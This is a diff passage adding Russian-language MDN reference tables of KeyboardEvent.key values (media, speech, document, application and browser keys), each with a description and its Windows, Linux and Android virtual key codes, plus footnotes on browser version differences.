+   <td><code>"PinPUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Кнопка для перемещения изображения «картинка в картинке» вверх.</span></span></td>
+   <td><code>VK_PINP_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedDown"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Уменьшает скорость воспроизведения мультимедиа.</span></span></td>
+   <td><code>VK_PLAY_SPEED_DOWN</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedReset"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Возвращает нормальную скорость воспроизведения мультимедиа.</span></span></td>
+   <td><code>VK_PLAY_SPEED_RESET</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PlaySpeedUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Увеличивает скорость воспроизведения мультимедиа.</span></span></td>
+   <td><code>VK_PLAY_SPEED_UP</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RandomToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает случайные медиафайлы (также известно как «режим случайного воспроизведения»).</span></span></td>
+   <td><code>VK_RANDOM_TOGGLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_AudioRandomPlay</code> (0x1008FF99)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RcLowBattery"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Код, отправляемый при низком заряде батареи пульта ДУ.</span> <span title="">Это вообще не соответствует физической кнопке/клавише.</span></span></td>
+   <td><code>VK_RC_LOW_BATTERY</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RecordSpeedNext"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Циклически переключает доступные скорости записи на носитель.</span></span></td>
+   <td><code>VK_RECORD_SPEED_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"RfBypass"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим пропуска радиочастотного (RF) входа.</span> <span title="">В режиме пропуска РЧ входной сигнал передается непосредственно на выход РЧ без какой-либо обработки или фильтрации.</span></span></td>
+   <td><code>VK_RF_BYPASS</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ScanChannelsToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим сканирования каналов.</span> <span title="">Это режим, который автоматически переключает каналы, пока пользователь не остановит сканирование.</span></span></td>
+   <td><code>VK_SCAN_CHANNELS_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ScreenModeNext"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Циклически переключает доступные режимы отображения экрана.</span></span></td>
+   <td><code>VK_SCREEN_MODE_NEXT</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Settings"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает отображение экрана настроек устройства.</span></span></td>
+   <td><code>VK_SETTINGS</code></td>
+   <td></td>
+   <td><code>Qt::Key_Settings</code> (0x0100011C)</td>
+   <td><code>KEYCODE_SETTINGS</code></td>
+  </tr>
+  <tr>
+   <td><code>"SplitScreenToggle"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает режим разделения экрана.</span></span></td>
+   <td><code>VK_SPLIT_SCREEN_TOGGLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_SplitScreen (</code>0x1008FF7D)<br>
+    <code>Qt::Key_SplitScreen</code> (0x010000ED)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"STBInput"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключение между источниками сигнала на внешней приставке (STB).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_STB_INPUT</code> (180)</td>
+  </tr>
+  <tr>
+   <td><code>"STBPower"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Включает и выключает внешний STB.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_STB_POWER</code> (179)</td>
+  </tr>
+  <tr>
+   <td><code>"Subtitle"</code></td>
+   <td>Включает и выключает отображение субтитров, если они доступны.</td>
+   <td><code>VK_SUBTITLE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Subtitle</code> (0x1008FF9A)</td>
+   <td><code>KEYCODE_CAPTIONS</code> (175)</td>
+  </tr>
+  <tr>
+   <td><code>"Teletext"</code></td>
+   <td>Включает и выключает отображение {{interwiki("wikipedia", "телетекст")}}а,если доступно.</td>
+   <td><code>VK_TELETEXT</code></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_TV_TELETEXT</code> (233)</td>
+  </tr>
+  <tr>
+   <td><code>"VideoModeNext"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Перебирает доступные видеорежимы.</span></span></td>
+   <td><code>VK_VIDEO_MODE_NEXT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Next_VMode</code> (0x1008FE22)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Wink"</code></td>
+   <td>Заставляет устройство идентифицировать себя каким-либо образом, например, мигает светом, на короткое время меняет яркость световых индикаторов или издает звуковой сигнал.</td>
+   <td><code>VK_WINK</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ZoomToggle"</code> [2]</td>
+   <td>Переключает между полноэкранным и масштабированным отображением содержимого или иным образом изменяет уровень увеличения.</td>
+   <td><code>VK_ZOOM</code> (0xFB)</td>
+   <td></td>
+   <td><code>Qt::Key_Zoom</code> (0x01020006)</td>
+   <td><code>KEYCODE_TV_ZOOM_MODE</code> (255)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Не путайте клавишу медиа-контроллера <code>VK_APPS</code> с клавишей Windows <code>VK_APPS</code>, которая также известна как <code>VK_CONTEXT_MENU</code>. Эта клавиша возвращает значение <code>"ContextMenu"</code>.</p>
+
+<p>[2] Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранние определяли кнопку переключения масштаба как <code>"Zoom"</code>. В Firefox 37 исправлено на <code>"ZoomToggle"</code>.</p>
+
+<p>[3] Эти клавиши возвращали <code>"Unidentified"</code> до Firefox 37.</p>
+
+<h2 id="Клавиши_распознавания_речи"><span class="tlid-translation translation" lang="ru"><span title="">Клавиши распознавания речи</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Эти специальные мультимедийные клавиши используются для управления функциями распознавания речи.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"SpeechCorrectionList"</code> [1]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Представляет список возможных исправлений неверно определенного слова.</span></span></td>
+   <td><code>APPCOMMAND_CORRECTION_LIST</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SpeechInputToggle"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переключение между режимом диктовки и режимом команд/управления.</span> <span title="">Это позволяет механизму обработки речи знать, интерпретировать ли произносимые слова как вводимый текст или как команды.</span></span></td>
+   <td><code>APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE</code></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] В Windows команда <code>APPCOMMAND_CORRECTION_LIST</code> генерирует значение <code>"Unidentified"</code> в Firefox.</p>
+
+<p>[2] В Windows команда <code>APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE</code> генерирует значение <code>"Unidentified"</code> в Firefox.</p>
+
+<h2 id="Клавиши_документа">Клавиши документа</h2>
+
+<p>Эти клавиши управляют документами. В спецификации они включены в другие наборы клавиш(например, мультимедийные), но разумнее выделять их в собственную категорию.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Close"</code> [1]</td>
+   <td>Закрывает текущий документ или сообщение. Не должен выходить из приложения.</td>
+   <td><code>APPCOMMAND_CLOSE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Close</code> (0x1008FF56)<br>
+    <code>Qt::Key_Close</code> (0x010000CE)</td>
+   <td><code>KEYCODE_MEDIA_CLOSE</code> (128)</td>
+  </tr>
+  <tr>
+   <td><code>"New"</code> [1]</td>
+   <td>Создает новый документ или сообщение.</td>
+   <td><code>APPCOMMAND_NEW</code></td>
+   <td></td>
+   <td><code>GDK_KEY_New</code> (0x1008FF68)<br>
+    <code>Qt::Key_New</code> (0x01000120)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Open"</code> [1]</td>
+   <td>Открывает существующий документ или сообщение.</td>
+   <td><code>APPCOMMAND_OPEN</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Open</code> (0x1008FF6B)<br>
+    <code>Qt::Key_Open</code> (0x01000121)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Print"</code></td>
+   <td>Печатает текущий документ или сообщение.</td>
+   <td><code>APPCOMMAND_PRINT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Print</code> (0xFF61)<br>
+    <code>Qt::Print</code> (0x01000009)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Save"</code> [1]</td>
+   <td>Сохраняет текущий документ или сообщение.</td>
+   <td><code>APPCOMMAND_SAVE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Save</code> (0x1008FF77)<br>
+    <code>Qt::Key_Save</code> (0x010000EA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SpellCheck"</code> [1]</td>
+   <td>Запускает проверку орфографии в текущем документе.</td>
+   <td><code>APPCOMMAND_SPELL_CHECK</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Spell</code> (0x1008FF7C)<br>
+    <code>Qt::Key_Spell</code> (0x010000EC)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailForward"</code> [1]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Открывает пользовательский интерфейс для пересылки сообщения.</span></span></td>
+   <td><code>APPCOMMAND_FORWARD_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_MailForward</code> (0x1008FF90)<br>
+    <code>Qt::Key_MailForward</code> (0x010000FB)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailReply"</code> [1]</td>
+   <td>Открывает пользовательский интерфейс для ответа на сообщение.</td>
+   <td><code>APPCOMMAND_REPLY_TO_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Reply</code> (0x1008FF72)<br>
+    <code>Qt::Key_Reply</code> (0x010000E5)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"MailSend"</code> [1]</td>
+   <td>Отправляет текущее сообщение.</td>
+   <td><code>APPCOMMAND_SEND_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Send</code> (0x1008FF7B)<br>
+    <code>Qt::Key_Send</code> (0x010000EB)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] До Firefox 37, эта клавиша генерировала значение <code>"Unidentified"</code>.</p>
+
+<h2 id="Клавиши_приложений">Клавиши приложений</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">На некоторых клавиатурах есть специальные клавиши для запуска определенных распространенных приложений или переключения на них.</span> <span title="">Значения клавиш для них перечислены здесь.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"LaunchCalculator"</code> [5]</td>
+   <td>Клавиша запуска калькулятора <kbd>Calculator</kbd>, часто помечается значком. Часто используется в качестве общей клавиши запуска приложений (<code>APPCOMMAND_LAUNCH_APP2</code>).</td>
+   <td><code>APPCOMMAND_LAUNCH_APP2</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Calculator</code> (0x1008FF1D)<br>
+    <code>Qt::Key_Calculator</code> (0x010000CB)</td>
+   <td><code>KEYCODE_CALCULATOR</code> (210)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchCalendar"</code> [5]</td>
+   <td>Клавиша календаря <kbd>Calendar</kbd>. Часто помечается значком.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Calendar</code> (0x1008FF20)<br>
+    <code>Qt::Key_Calendar</code> (0x010000E4)</td>
+   <td><code>KEYCODE_CALENDAR</code> (208)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchContacts"</code></td>
+   <td>Клавиша "Контакты" <kbd>Contacts</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_CONTACTS</code> (207)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMail"</code></td>
+   <td>Клавиша электронной почты <kbd>Mail</kbd>. Часто помечается значком.</td>
+   <td><code>VK_LAUNCH_MAIL</code> (0xB4)<br>
+    <code>APPCOMMAND_LAUNCH_MAIL</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Mail</code> (0x1008FF19)<br>
+    <code>Qt::Key_LaunchMail</code> (0x010000A0)</td>
+   <td><code>KEYCODE_ENVELOPE</code> (65)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMediaPlayer"</code> [1]</td>
+   <td>Клавиша медиаплеера <kbd>Media Player</kbd>. Часто помечается значком.</td>
+   <td><code>VK_LAUNCH_MEDIA_SELECT</code> (0xB5)<br>
+    <code>APPCOMMAND_LAUNCH_MEDIA_SELECT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_CD</code> (0x1008FF53)<br>
+    <code>GDK_KEY_Video</code> (0x1008FF87)<br>
+    <code>GDK_KEY_AudioMedia</code> (0x1008FF32)<br>
+    <code>Qt::Key_LaunchMedia</code> (0x010000A1)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMusicPlayer"</code> [5]</td>
+   <td>Клавиша музыкального проигрывателя <kbd>Music Player</kbd>. Часто помечается значком.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Music</code> (0x1008FF92)<br>
+    <code>Qt::Key_Music</code> (0x010000FD)</td>
+   <td><code>KEYCODE_MUSIC</code> (209)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchMyComputer"</code> [5]</td>
+   <td>Клавиша "Мой компьютер" <kbd>My Computer</kbd> на клавиатурах Windows. Часто используется в качестве общей клавиши запуска приложений (<code>APPCOMMAND_LAUNCH_APP1</code>).</td>
+   <td><code>APPCOMMAND_LAUNCH_APP1</code></td>
+   <td></td>
+   <td><code>GDK_KEY_MyComputer</code> (0x1008FF33)<br>
+    <code>GDK_KEY_Explorer</code> (0x1008FF5D)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchPhone"</code></td>
+   <td>Клавиша телефонии <kbd>Phone</kbd>. Открывает приложение для набора номера телефона (если таковое имеется).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Phone</code> (0x1008FF6E)<br>
+    <code>Qt::Key_Phone</code> (0x010000E3)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchScreenSaver"</code> [5]</td>
+   <td>Клавиша заставки <kbd>Screen Saver</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ScreenSaver</code> (0x1008FF2D)<br>
+    <code>Qt::Key_ScreenSaver</code> (0x010000BA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchSpreadsheet"</code> [4]</td>
+   <td>Клавиша табличного процессора <kbd>Spreadsheet</kbd>. Эта клавиша часто помечается значком.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Excel</code> (0x1008FF5C)<br>
+    <code>Qt::Key_Excel</code> (0x010000D4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWebBrowser"</code> [4]</td>
+   <td>Клавиша веб-браузера <kbd>Web Browser</kbd>. Эта клавиша часто помечается значком.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WWW</code> (0x1008FF2E)<br>
+    <code>Qt::Key_WWW</code> (0x010000BB)</td>
+   <td><code>KEYCODE_EXPLORER</code> (64)</td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWebCam"</code> [5]</td>
+   <td>Клавиша <kbd>WebCam</kbd>. Открывает приложение веб-камеры.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WebCam</code> (0x1008FF8F)<br>
+    <code>Qt::Key_WebCam</code> (0x010000FA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchWordProcessor"</code> [5]</td>
+   <td>Клавиша текстового процессора <kbd>Word Processor</kbd>. Это может быть значок конкретного приложения текстового процессора или общий значок документа.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Word</code> (0x1008FF89)<br>
+    <code>Qt::Key_Word</code> (0x010000F4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication1"</code> [2]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">1-я общая кнопка запуска приложений.</span></span></td>
+   <td><code>VK_LAUNCH_APP1</code> (0xB6)<br>
+    <code>APPCOMMAND_LAUNCH_APP1</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch0</code> (0x1008FF40)<br>
+    <code>Qt::Key_Launch0</code> (0x010000A2)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication2"</code> [3]</td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">2-я общая кнопка запуска приложений.</span></span></td>
+   <td><code>VK_LAUNCH_APP2</code> (0xB7)<br>
+    <code>APPCOMMAND_LAUNCH_APP2</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch1</code> (0x1008FF41)<br>
+    <code>Qt::Key_Launch1</code> (0x010000A3)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication3"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">3-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch2</code> (0x1008FF42)<br>
+    <code>Qt::Key_Launch2</code> (0x010000A4)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication4"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">4-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch3</code> (0x1008FF43)<br>
+    <code>Qt::Key_Launch3</code> (0x010000A5)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication5"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">5-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch4</code> (0x1008FF44)<br>
+    <code>Qt::Key_Launch4</code> (0x010000A6)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication6"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">6-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch5</code> (0x1008FF45)<br>
+    <code>Qt::Key_Launch5</code> (0x010000A7)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication7"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">7-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch6</code> (0x1008FF46)<br>
+    <code>Qt::Key_Launch6</code> (0x010000A8)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication8"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">8-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch7</code> (0x1008FF47)<br>
+    <code>Qt::Key_Launch7</code> (0x010000A9)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication9"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">9-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch8</code> (0x1008FF48)<br>
+    <code>Qt::Key_Launch8</code> (0x010000AA)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication10"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">10-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Launch9</code> (0x1008FF49)<br>
+    <code>Qt::Key_Launch9</code> (0x010000AB)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication11"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">11-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchA</code> (0x1008FF4A)<br>
+    <code>Qt::Key_LaunchA</code> (0x010000AC)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication12"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">12-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchB</code> (0x1008FF4B)<br>
+    <code>Qt::Key_LaunchB</code> (0x010000AD)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication13"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">13-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchC</code> (0x1008FF4C)<br>
+    <code>Qt::Key_LaunchC</code> (0x010000AE)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication14"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">14-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchD</code> (0x1008FF4D)<br>
+    <code>Qt::Key_LaunchD</code> (0x010000AF)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication15"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">15-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchE</code> (0x1008FF4E)<br>
+    <code>Qt::Key_LaunchE</code> (0x010000B0)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"LaunchApplication16"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">16-я общая кнопка запуска приложений.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LaunchF</code> (0x1008FF4F)<br>
+    <code>Qt::Key_LaunchF</code> (0x010000B1)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] Internet Explorer, Edge, и Firefox (36 и ранее) используют <code>"SelectMedia"</code> вместо <code>"LaunchMediaPlayer"</code>. Firefox 37 и Firefox 48 используют <code>"MediaSelect"</code>. Firefox 49 <span class="tlid-translation translation" lang="ru"><span title="">был обновлен в соответствии с последней спецификацией и теперь возвращает</span></span> <code>"LaunchMediaPlayer"</code>.</p>
+
+<p>[2] Google Chrome 57 и ранние возращают <code>"LaunchMyComputer"</code> вместо <code>"LaunchApplication1"</code>. Смотри <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> для дополнительной информации.</p>
+
+<p>[3] Google Chrome 57 и ранние возвращают <code>"LaunchCalculator"</code> вместо <code>"LaunchApplication2"</code>. Смотри <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612743">Chrome Bug 612743</a> для дополнительной информации.</p>
+
+<p>[4] До Firefox 37, Firefox возвращал the key code <code>"LaunchApplication1"</code> вместо "<code>LaunchWebBrowser"</code>для клавиши Веб-браузера.</p>
+
+<p>[5] Firefox ввёл поддержку этой клавиши в Firefox 37. До этого, эта клавиша возвращала значение <code>"Unidentified"</code>.</p>
+
+<h2 id="Клавиши_управления_браузером">Клавиши управления браузером</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">На некоторых клавиатурах есть специальные клавиши для управления веб-браузерами.</span> <span title="">Это следующие клавиши.</span></span></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"BrowserBack"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход к предыдущему содержимому или странице в истории текущего веб-представления.</span></span></td>
+   <td><code>VK_BROWSER_BACK</code> (0xA6)<br>
+    <code>APPCOMMAND_BROWSER_BACKWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Back</code> (0x1008FF26)<br>
+    <code>Qt::Key_Back</code> (0x01000061)</td>
+   <td><code>KEYCODE_BACK</code> (4)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserFavorites"</code> [1]</td>
+   <td>Открывает список закладок/избранного пользователя.</td>
+   <td><code>VK_BROWSER_FAVORITES</code> (0xAB)<br>
+    <code>APPCOMMAND_BROWSER_FAVORITES</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Favorites</code> (0x1008FF30)<br>
+    <code>GDK_KEY_MySites</code> (0x1008FF67)<br>
+    <code>Qt::Favorites</code> (0x01000091)</td>
+   <td><code>KEYCODE_BOOKMARK</code> (174)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserForward"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход к следующему содержимому или странице в истории текущего веб-представления.</span></span></td>
+   <td><code>VK_BROWSER_FORWARD</code> (0xA7)<br>
+    <code>APPCOMMAND_BROWSER_FORWARD</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Forward</code> (0x1008FF27)<br>
+    <code>Qt::Key_Forward</code> (0x01000062)</td>
+   <td><code>KEYCODE_FORWARD</code> (125)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserHome"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Переход к домашней странице, установленной пользователем.</span></span></td>
+   <td><code>VK_BROWSER_HOME</code> (0xAC)<br>
+    <code>APPCOMMAND_BROWSER_HOME</code></td>
+   <td></td>
+   <td><code>GDK_KEY_HomePage</code> (0x1008FF18)<br>
+    <code>Qt::Key_HomePage</code> (0x01000090)</td>
+   <td><code>KEYCODE_HOME</code> (3)</td>
+  </tr>
+  <tr>
+   <td><code>"BrowserRefresh"</code></td>
+   <td>Обновление текущей страницы или содержимого.</td>
+   <td><code>VK_BROWSER_REFRESH</code> (0xA8)<br>
+    <code>APPCOMMAND_BROWSER_REFRESH</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Refresh</code> (0x1008FF29)<br>
+    <code>GDK_KEY_Reload</code> (0x1008FF73)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"BrowserSearch"</code></td>
+   <td>Активирует предпочтительную поисковую систему пользователя или интерфейс поиска в его браузере.</td>
+   <td><code>VK_BROWSER_SEARCH</code> (0xAA)<br>
+    <code>APPCOMMAND_BROWSER_SEARCH</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Search</code> (0x1008FF1B)<br>
+    <code>Qt::Key_Search</code> (0x01000092)</td>
+   <td><code>KEYCODE_SEARCH</code> (84)</td>
+  </tr>
+  <tr>
